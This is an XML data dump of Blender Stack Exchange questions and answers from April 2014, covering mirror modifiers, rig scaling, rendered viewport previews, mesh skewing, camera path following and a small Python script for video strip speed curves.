  <row Id="8342" PostTypeId="1" AcceptedAnswerId="8343" CreationDate="2014-04-05T19:25:29.253" Score="4" ViewCount="64" Body="&lt;p&gt;I was playing around with the mirror modifier and I found that when I turned off the mirroring, my model turned form this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ytzQX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vNLZg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to turn the body of the model to the other side so when I turn off the mirror modifier only the right side of the model is shown?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="3024" LastActivityDate="2014-04-05T19:50:00.330" Title="Mirroring Mishaps" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8343" PostTypeId="2" ParentId="8342" CreationDate="2014-04-05T19:37:54.477" Score="3" Body="&lt;p&gt;I think this is because your geometry actually is positioned that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To reposition your geometry all on the same side:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Position your cursor in the center of the scene (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; or &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;em&gt;&gt; Snap Cursor to Center&lt;/em&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the pivot point to the 3D cursor by pressing &lt;kbd&gt;.&lt;/kbd&gt; (period)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the part(s) of your model that are on the wrong side (hovering and pressing &lt;kbd&gt;L&lt;/kbd&gt; to select linked geometry might be helpful)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;-1&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Remove double vertices (&lt;kbd&gt;W&lt;/kbd&gt;&lt;em&gt;&gt; Remove Doubles&lt;/em&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You may also need to recalculate normals after this (&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Select all&lt;/em&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-04-05T19:50:00.330" LastActivityDate="2014-04-05T19:50:00.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8344" PostTypeId="1" CreationDate="2014-04-05T19:51:18.800" Score="4" ViewCount="663" Body="&lt;p&gt;I'm working on animating a person climbing a building for a school project.  I have the rigged character and the model for the building, but the model for the character is far too large.  I used the scale tool to scale it down to the proper size, then began to model.  After I moved the first bone, what looks like a large blob appears under one of the character's feet.  This disappears if I go into edit mode, but is visible in object or pose mode in both solid and rendered view.  Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3040" LastActivityDate="2014-04-05T23:16:29.967" Title="Issue with posing after resizing" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8346" PostTypeId="1" CreationDate="2014-04-05T21:13:53.873" Score="2" ViewCount="75" Body="&lt;p&gt;I saw a video with a useful tip, but can't find it again. The author defined a custom key to focus on the three transform vertex coordinates; x, y, and z. This is different from creating hotkeys to perform a function such as &quot;subdivide&quot; (RMB, select &quot;create shortcut&quot;) as that doesn't work for me. The fields turned green and when pressed, the edit field was focused and the value was selected so he could instantly overwrite the value.&lt;/p&gt;&#xA;" OwnerUserId="2129" LastActivityDate="2014-04-06T07:39:55.477" Title="Custom hotkey for selecting edit field" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-04-06T10:13:52.240" ContentLicense="CC BY-SA 3.0" />
  <row Id="8347" PostTypeId="2" ParentId="8340" CreationDate="2014-04-05T22:09:52.513" Score="2" Body="&lt;p&gt;&lt;em&gt;I will wait few days before accepting my own answer. Maybe someone else will have a better &#xA;idea.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to lack of other answers and request to do so I will give what I am currently using.&#xA;I still feel like it is not the best approach, but it as well may be (I don't know Blender's API that well, just started learning).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created an operator that takes all selected speed effects and given the original frame rate of clips (I haven't found a way to get that automatically from movie sequences) creates linear interpolation curve for speed effect.&#xA;It is is more useful than constant speed value as you can then go and edit curve not having to work out how it should look like to get original speed in your final edit (it also creates meta strip that actually is trimmed correctly so it appears in correct size in VSE, but that part is omitted as it is outside the scope of the question).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def execute(self, context):  &#xA;    # filter out non speed effects&#xA;    selection = [ seq for seq in context.scene.sequence_editor.sequences if seq.select and seq.type == 'SPEED' ]&#xA;&#xA;    # get render frame rate and calculate how to scale input movie fps&#xA;    fc = context.scene.frame_current&#xA;    fps = bpy.context.scene.render.fps&#xA;    fcurves = bpy.context.scene.animation_data.action.fcurves&#xA;    factor = fps / self.original_framerate &#xA;&#xA;    # remove current fcurves for speed_factor if there are any&#xA;    # we create set for faster lookups (at least I'd home it would be faster than naïve approach&#xA;    paths_to_remove = set((s.path_from_id(&quot;speed_factor&quot;) for s in selection))&#xA;    for f in fcurves:&#xA;        if f.data_path in paths_to_remove:&#xA;            fcurves.remove(f)&#xA;&#xA;    for s in selection:&#xA;        s.use_default_fade = False&#xA;        s.use_as_speed = False&#xA;        factor = fps / self.original_framerate &#xA;        final_duration = s.input_1.frame_duration*factor&#xA;        final_duration = s.input_1.frame_duration*factor&#xA;&#xA;        # create curve for this speed effect and add two keyframes&#xA;        curve = fcurves.new( s.path_from_id(&quot;speed_factor&quot;) )&#xA;        start_key = curve.keyframe_points.insert( s.frame_start, 0 )&#xA;        start_key.interpolation = 'LINEAR'&#xA;        end_point = curve.keyframe_points.insert( s.frame_start + final_duration, s.input_1.frame_duration )&#xA;        end_point.interpolation = 'LINEAR'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1030" LastEditorUserId="1030" LastEditDate="2014-04-05T22:14:59.747" LastActivityDate="2014-04-05T22:14:59.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8348" PostTypeId="2" ParentId="3669" CreationDate="2014-04-05T22:42:26.480" Score="3" Body="&lt;p&gt;What I do is in the Blender Internal Renderer select the material that is going to have light cast on it. Then enable mirroring and turn down the glossiness.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FcyZu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can adjust the number of samples it uses for smoother results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HvL6a.png&quot; alt=&quot;material settings floor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for the wait, lack of internet at my home right now.&lt;/p&gt;&#xA;" OwnerUserId="3042" LastEditorUserId="3042" LastEditDate="2014-04-11T21:28:37.183" LastActivityDate="2014-04-11T21:28:37.183" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8349" PostTypeId="2" ParentId="8344" CreationDate="2014-04-05T23:06:07.857" Score="3" Body="&lt;h2&gt;&lt;strong&gt;Apply Object Transformations When Rigging&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The problem with the figure's foot is that the scale of the figure and the scale of the rig are not both equal. This can cause unusual behavior like what you experienced.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To prevent this from happening, whenever you are joining a rig to a mesh, you must first always apply their scales so the scales are both set to 1.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for this is simple: when you import a figure, it will default to have a scale of 1. Also, when you add a rig, it too will default to a scale of 1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, almost always the figure and the rig will be different sizes, so you naturally will change the scale and maybe even the rotation of one or the other so they match up and the rig fits right inside the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This results in a difference of scale (and maybe rotation) of the rig and the model. In your file, the figure's scale is 1, but your metarig's scale has been reduced down to 0.195:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ScwqT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(You can see the scale of objects in the Properties panel, which can be opened with &lt;kbd&gt;N&lt;/kbd&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This difference of scales becomes problematic when the rig is joined to the figure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, whenever you finish scaling and/or rotating both your figure and your rig, you need to &lt;a href=&quot;http://wiki.blender.org/index.php/User:Fade/Doc:2.6/Manual/3D_interaction/Transform_Control/Reset_Object_Transformations&quot; rel=&quot;nofollow noreferrer&quot;&gt;Apply Object Transformations&lt;/a&gt; to both the figure and the rig. When you are Applying Transformations, you can apply the location, rotation, and/or scale. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how you do that, first for either the rig or the figure, then for the other:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In Object mode, select either the rig or the figure&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then use one of these methods to apply transformations:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;3D View Header -&gt; Object -&gt; Apply -&gt; Rotation &amp;amp; Scale &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; -&gt; Apply Rotation &amp;amp; Scale&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nktzw.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main goal is to have the Rotation for both rig &amp;amp; figure set to 0 for X, Y &amp;amp; Z, and also to have the Scale for both be set to 1 on X, Y &amp;amp; Z. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then your rig will work properly.&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-04-05T23:16:29.967" LastActivityDate="2014-04-05T23:16:29.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8350" PostTypeId="1" AcceptedAnswerId="8351" CreationDate="2014-04-05T23:35:58.593" Score="45" ViewCount="120022" Body="&lt;p&gt;How can the current viewport view be rendered as a preview?&lt;/p&gt;&#xA;" OwnerUserId="743" LastEditorUserId="743" LastEditDate="2015-10-17T04:04:26.317" LastActivityDate="2021-03-18T11:08:11.213" Title="Preview rendering the current view from the viewport?" Tags="&lt;rendering&gt;&lt;3d-view&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="8351" PostTypeId="2" ParentId="8350" CreationDate="2014-04-05T23:35:58.593" Score="50" Body="&lt;h1&gt;Blender 2.8+&lt;/h1&gt;&#xA;&lt;p&gt;This is now accomplished with the fully interactive &lt;em&gt;Rendered&lt;/em&gt; viewport shading mode.&lt;/p&gt;&#xA;&lt;p&gt;Click the rightmost sphere icon in the top right of the 3D viewport to enter &lt;em&gt;Rendered&lt;/em&gt; mode, which displays the scene (more or less) exactly as it will be rendered:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6ZNne.png&quot; alt=&quot;Viewport shading modes&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Alternatively, hit &lt;kbd&gt;Z&lt;/kbd&gt; and select the &lt;em&gt;Rendered&lt;/em&gt; mode from the &lt;em&gt;Shading&lt;/em&gt; pie menu:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3mMtg.png&quot; alt=&quot;Shading mode pie menu&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;To remove any overlays, outlines, or gizmos covering up parts of the rendered view, turn off &lt;em&gt;Gizmos&lt;/em&gt; and &lt;em&gt;Overlays&lt;/em&gt; by clicking the icons beside the dropdown arrows left of the shading mode:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jwGBr.png&quot; alt=&quot;Gizmos and Overlays&quot; /&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Blender 2.69 – 2.79&lt;/h1&gt;&#xA;&lt;p&gt;Use the key combination &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; to switch to &lt;em&gt;Rendered&lt;/em&gt; mode. Hit the key combination again to return to &lt;em&gt;Solid&lt;/em&gt; mode. Alternatively, switch the &lt;em&gt;Viewport Shading&lt;/em&gt; mode between the white sphere (&lt;em&gt;Solid&lt;/em&gt;) and pink sphere (&lt;em&gt;Rendered&lt;/em&gt;) in the 3D Viewport header/footer bar.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sz7ZA.png&quot; alt=&quot;Render mode selection menu&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;This lacks viewport overlays, however, so it will be difficult to work in fully rendered mode. Nonetheless, it is possible to pivot the view and look around.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Blender 2.68 and Earlier&lt;/h1&gt;&#xA;&lt;p&gt;Switch the &lt;em&gt;Viewport Shading&lt;/em&gt; mode between &lt;em&gt;Solid&lt;/em&gt; and &lt;em&gt;Rendered&lt;/em&gt; as described in the section above. However, the &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; shortcut is not bound by default in earlier versions of the software. But you can bind it yourself:&lt;/p&gt;&#xA;&lt;p&gt;Open the User Preferences (&lt;em&gt;File&lt;/em&gt; &amp;gt; &lt;em&gt;User Preferences...&lt;/em&gt;) and switch to the &lt;em&gt;Input&lt;/em&gt; tab. From the expandable list, locate &lt;em&gt;3D View&lt;/em&gt; and expand it, then also expand &lt;em&gt;3D View (Global)&lt;/em&gt; immediately below.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OSANe.png&quot; alt=&quot;User Settings &amp;gt; Input &amp;gt; 3D View &amp;gt; 3D View (Global)&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Scroll to the bottom of the expanded list and you will find an &lt;em&gt;Add New&lt;/em&gt; button.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3zaKJ.png&quot; alt=&quot;Add New button at the bottom of the expanded list&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Click &lt;em&gt;Add New&lt;/em&gt;, then expand the new entry entitled &amp;quot;none&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0ggcj.png&quot; alt=&quot;Add New button and its expanded new unbound keymap&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;With the new, unbound keymap entry expanded:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Replace &lt;code&gt;none&lt;/code&gt; with &lt;code&gt;wm.context_toggle_enum&lt;/code&gt; which should lead to three new text fields appearing beneath.&lt;/li&gt;&#xA;&lt;li&gt;Bind the &lt;em&gt;Z&lt;/em&gt; key by clicking the key field (contains the default &lt;em&gt;A&lt;/em&gt;) and press &lt;kbd&gt;Z&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Check the &lt;em&gt;Shift&lt;/em&gt; keyboard modifier checkbox.&lt;/li&gt;&#xA;&lt;li&gt;Fill the new three values, starting with &lt;code&gt;space_data.viewport_shade&lt;/code&gt; for &lt;em&gt;Context Attribute&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Next, enter &lt;code&gt;SOLID&lt;/code&gt; for &lt;em&gt;Value 1&lt;/em&gt; (beneath &lt;em&gt;Context Attribute&lt;/em&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Finally, enter &lt;code&gt;RENDERED&lt;/code&gt; for &lt;em&gt;Value 2&lt;/em&gt; (right of &lt;em&gt;Context Attribute&lt;/em&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ryzJd.png&quot; alt=&quot;Values filled in for the full keymap&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;To save these changes for future use, click &lt;em&gt;Save User Settings&lt;/em&gt; at the footer of the User Preferences window which will update the startup file with the currently open one that now includes the added keymap. Make sure this is a clean startup file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/53DTx.png&quot; alt=&quot;User Settings footer with Save User Settings button&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="743" LastEditorUserId="31447" LastEditDate="2021-03-18T11:08:11.213" LastActivityDate="2021-03-18T11:08:11.213" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="8352" PostTypeId="1" AcceptedAnswerId="8355" CreationDate="2014-04-05T23:39:07.280" Score="6" ViewCount="6320" Body="&lt;p&gt;I have a complex mesh that I would like to change the proportions to. Using this mesh as a simplified example, how to I make this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IIn6x.png&quot; alt=&quot;unskewed square&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Into this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JaqJE.png&quot; alt=&quot;skewed square&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, the mesh I'm working with is complex, so simplifying it into a 6-sided square, shrinking one face, then subdividing it would not be a viable option.&lt;/p&gt;&#xA;" OwnerUserId="341" LastActivityDate="2014-04-06T13:45:45.457" Title="How can I skew an object?" Tags="&lt;mesh&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8353" PostTypeId="2" ParentId="8350" CreationDate="2014-04-05T23:53:00.430" Score="22" Body="&lt;h2&gt;&lt;strong&gt;Rendering the Current View&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The easiest way to do this is this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the camera's view to your current viewport's view:&lt;br&gt;&#xA;&lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;ALT&lt;/kbd&gt;&lt;kbd&gt;Numpad 0&lt;/kbd&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then render the image with one of these methods:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Info header -&gt; Render -&gt; Render Image&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Object Properties window -&gt; Render tab -&gt; Render section -&gt; click the Render button&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can read more about rendering in Blender &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render&quot;&gt;here&lt;/a&gt; on the Blender Wiki.&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-04-06T00:08:24.190" LastActivityDate="2014-04-06T00:08:24.190" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8354" PostTypeId="2" ParentId="8352" CreationDate="2014-04-06T00:08:37.213" Score="3" Body="&lt;p&gt;There are several ways you can do it.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Resizing with proportional editing.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using a modifier like lattice, or mesh deform using another object to control the deformation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="1476" LastEditDate="2014-04-06T13:45:45.457" LastActivityDate="2014-04-06T13:45:45.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8355" PostTypeId="2" ParentId="8352" CreationDate="2014-04-06T00:25:09.493" Score="9" Body="&lt;p&gt;You can do this non-destructively using a &lt;em&gt;Simple Deform Modifier&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the desired mesh&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the modifiers tab add a &lt;em&gt;Simple Deform Modifier&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the type to &lt;em&gt;Taper&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Adjust &lt;em&gt;Factor&lt;/em&gt; to increase/decrease the amount of deformation. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z12lZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-04-06T00:25:09.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8356" PostTypeId="1" AcceptedAnswerId="8360" CreationDate="2014-04-06T00:26:49.050" Score="7" ViewCount="3544" Body="&lt;p&gt;(I'm a blender beginner but know a handful of techniques with other similar programs/systems)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created a NURBS to make a tracking shot. Creating a &lt;em&gt;follow path&lt;/em&gt; object constraint on the camera lets the camera follow the track in terms of translation, however the rotation of the camera is fixed this way. In other words the camera should look to the exact way the path currently points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure this is possible with blender (everything should be possible with blender :), I just don't know which object constraints I have to use in order for the camera to do this.&lt;/p&gt;&#xA;" OwnerUserId="3043" LastActivityDate="2014-04-06T03:12:14.003" Title="Camera angle should follow path angle" Tags="&lt;camera&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8357" PostTypeId="1" AcceptedAnswerId="8358" CreationDate="2014-04-06T00:56:47.417" Score="3" ViewCount="1632" Body="&lt;p&gt;I want to be able to add rigid body physics to my gun when my animation character dies so the gun will drop smoothly, because it is hard to animate things dropping in small areas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not making a game, therefor I do not need to use the game engine instead of cycles or blender render.&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="12" LastEditDate="2014-04-06T10:14:20.130" LastActivityDate="2014-04-06T10:14:20.130" Title="How to use rigidbody simulation for animation?" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8358" PostTypeId="2" ParentId="8357" CreationDate="2014-04-06T01:21:16.947" Score="3" Body="&lt;p&gt;As of &lt;a href=&quot;http://wiki.blender.org/index.php/Dev%3aRef/Release_Notes/2.66/Rigid_Body_Simulation&quot; rel=&quot;nofollow&quot;&gt;Blender 2.66&lt;/a&gt;, you can press &lt;em&gt;Rigid Body&lt;/em&gt; in &lt;em&gt;Properties &gt; Physics&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To enable and disable control of the rigid body with the animation system, keyframe the &lt;em&gt;Animated&lt;/em&gt; checkbox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;http://wiki.blender.org/index.php/User%3aSergof/GSoC2012/Documentation&quot; rel=&quot;nofollow&quot;&gt;wiki for documentation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-04-06T01:21:16.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8360" PostTypeId="2" ParentId="8356" CreationDate="2014-04-06T02:51:01.390" Score="12" Body="&lt;h2&gt;&lt;strong&gt;Set Parent To -&gt; Follow Path&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This effect can be achieved with the following method:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a curve for your path: &lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; -&gt; Curve -&gt; select a curve&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Edit your curve to be your desired camera path&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure you have the green frame cursor set to the frame on the Timeline you want to begin having the camera follow the path&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the curve and in Edit mode, select the point of the curve you want to be the first place you want the camera to be&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then snap the 3D cursor to that point: &lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; -&gt; Cursor to Selected:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HsgDp.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now select the camera, then snap it to the 3D cursor: &lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; -&gt; Selection to Cursor:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ri4YM.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Adjust the rotation of your camera so that it looks forward along the path  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now first select the camera, then hold down &lt;kbd&gt;SHIFT&lt;/kbd&gt; while selecting the path, then make the path the parent of the camera with the Follow Path option:  &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; -&gt; Follow Path:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/snhsn.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;strong&gt;NOTE:&lt;/strong&gt; The order you select the two objects is very important when setting parent/child relationships: first select the child, then the parent)  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now when you play your animation, the camera will follow the path and stay oriented to the direction of the path:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HbeVw.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-04-06T03:12:14.003" LastActivityDate="2014-04-06T03:12:14.003" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8361" PostTypeId="2" ParentId="8346" CreationDate="2014-04-06T07:39:55.477" Score="2" Body="&lt;p&gt;I'm not sure that they actually setup a shortcut to edit the values. A background colour of green indicates that the values are keyframed but not on the current frame, while a yellow background indicates a keyframe exists on the current frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See below, the location is keyframed on the current frame while rotation has a keyframe on another frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FspQ2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the mouse is over the values pressing &lt;kbd&gt;I&lt;/kbd&gt; will insert a keyframe for the values at the current frame. You can also right click and choose Insert Keyframes, you also have options to Delete (only current frame) or Clear (all frames)  Keyframes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clicking in the centre of a number field will enter edit mode allowing you to type in the value to use.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-04-06T07:39:55.477" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
